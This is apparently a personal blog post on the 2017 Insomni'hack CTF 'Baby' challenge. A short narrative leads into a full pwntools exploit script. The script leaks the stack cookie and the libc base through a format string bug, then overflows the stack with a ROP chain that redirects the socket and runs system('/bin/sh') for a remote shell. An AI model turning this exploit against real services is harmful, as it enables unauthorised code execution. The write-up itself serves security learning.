Sunday, 22 January 2017

Insomni'hack 2017 Baby

holy shit I hate this challenge.

It was actually a nice challenge, you get a format string, stack AND heap overflow. Trick is, ALL of the security is on.

There are many ways to do this challenge, I went for info leak the cookie and segments with the format string and then rop to system.

I got it working locally with a bit of a hack job, SEVERAL HOURS LATER, I had finished my make-code-less-shit campaign, only to realise that pwntools wasn't having a fun time with the network.

---

Turns out that wasn't the case, the problem was I was assuming some offsets that I shouldn't have assumed.

I got so frustrated that I wrote a script to leak and dereference pointers from the format string and then try and find the dereferenced string in the libc binary given. Once I found a hit I could then subtract it's location in libc and I'd know the start of libc on the remote server.

Then I leak the cookie and do my rop chain.



#!/usr/bin/env python
# -*- coding: utf-8 -*-
# pasteBin
#
# Insomni'hack 2017 Baby pwn
# format string to leak libc and cookie
# stack overflow to rop chain dup(4,0) dup(4,1) system("/bin/sh")

import sys
from pwn import *

local = True
if len(sys.argv) == 2:
 local = False


def extract_printf(refs):
 """
  Given a bunch of refs e.g %x, %llx, %10$s
  return a list of the things they return
 """
 # leak the 'r'th thing off the stack
 gen_ref = lambda r: "*{ref}*".format(ref=r)

 # generate a few of these in a row
 payload = "!!"
 payload += ''.join([gen_ref(r) for r in refs])
 payload += "*OO"

 conn.sendline(payload)
 conn.recvuntil("!!*")
 leaks = conn.recvuntil("*OO")
 leaks = leaks.split('**')[:-1] # remove the OO 
 conn.recvuntil("Your format >")
 return leaks

# get one offset
def deref_offset(offset):
 """
  Leak the value at an offset using the format string
 """
 code_leak_payload = "%{ref}$llx".format(ref=offset)
 return int(extract_printf([code_leak_payload])[0],16)

# leak a pointer string
def leak_offset(offset):
 code_leak_payload = "%{ref}$s".format(ref=offset)
 return extract_printf([code_leak_payload])[0]

# get a few
def deref_offset_list(offset, length):
 # leak the 'r'th thing off the stack
 offset_str = lambda r: "%{ref}$llx".format(ref=r)

 refs = [offset_str(x) for x in range(offset, offset + length)]
 ret = [ int(x,16) for x in extract_printf(refs)]
 # print ret
 return ret

# get a few strings
def leak_offset_list(offsets):
 """
  Deref some things as strings using %s
 """
 # leak the 'r'th thing off the stack
 offset_str = lambda r: "%{ref}$s".format(ref=r)
 refs = [offset_str(x) for x in offsets]
 ret = [ x for x in extract_printf(refs)]
 # print ret
 return ret


def valid_pointer(data):
 """
  Ballpark guess if something is a pointer, adjust to taste
  helps it to not crash :D
 """
 if hex(data)[:3] != "0x7" and hex(data)[:3] != "0x5":
  return False
 if hex(data)[:4] == "0x78": # Y in asci
  return False
 if "000" in hex(data):
  return False
 dLen = len(hex(data))
 if dLen != len("0x55f55d09d6a0") and dLen != len("0x63b944c753c6fc00"):
  return False

 return True

def find_libc_offset():
 """
  1) Leak memory using the format string
  2) Find the valid pointers/offsets
  3) Deref them and compare with libc
  4) if match, calculate offset
 """
 # leak a big range and then deref all the pointers till you find one in libc
 # then adjust the offset
 x = 3
 # leak 10 at a time
 leak_size = 10
 while True:
  # 1) Leak memory using the format string
  pointers = deref_offset_list(x, leak_size)

  # 2) Find the valid pointers/offsets
  valid_pointers = [pointer for pos, pointer in enumerate(pointers) if valid_pointer(pointer)]
  valid_offsets  = [pos + x for pos, pointer in enumerate(pointers) if valid_pointer(pointer)]
  
  if len(valid_pointers) > 0:

   # 3) Deref them and compare with libc
   strings = leak_offset_list(valid_offsets)
   for pointer, string in zip(valid_pointers, strings):
    if len(string) > 1: # only worth checking for more than 1 byte
     # search for the string in libc
     code_segments = list(libc.search(string))
     # is it unique in libc?
     if len(code_segments) == 1:
      offset_into_libc = code_segments[0]
      return pointer - offset_into_libc
  x += leak_size


addr = "127.0.0.1"
libc = elf.ELF("/lib/x86_64-linux-gnu/libc-2.24.so")
if not local:
 addr = "baby.teaser.insomnihack.ch"
 libc = elf.ELF("libc.so")

conn = remote(addr, 1337)
context.arch = 'amd64'
welcome = conn.recvuntil('Your choice >')
print welcome,

conn.sendline("2") # select format string
conn.recvuntil("Your format >")
conn.sendline("A"*100) # we don't want to find pointers that we might overwrite so clear it now
conn.recvuntil("Your format >")

# get the cookie
cookie = deref_offset(138)

libc.address = find_libc_offset() # smart memory leaking

payload =   "A"*8*129   # padding
payload +=  p64(cookie)  # stack cookie    
payload +=  "A"*8   # padding 


# use the magical pwntools rop functionality
# alternativly if I needed to make a tight rop chain
# I'd use libc.search(assemble("pop rdi; ret"))
rop = ROP(libc)
rop.dup2(4,0)
rop.dup2(4,1)
rop.dup2(4,2)
rop.system(list(libc.search("/bin/sh\x00"))[0])

print rop.dump()
payload += str(rop)

# time to drop the shell :D
conn.send('\n')
conn.recvuntil('Your choice > ')
conn.sendline('1')
conn.recvuntil("How much bytes you want to send ? ")
a = str(len(payload))
conn.send(a + (10-len(a))*'\x00')
conn.send(payload)
 
# we get a shell
conn.interactive()
conn.close()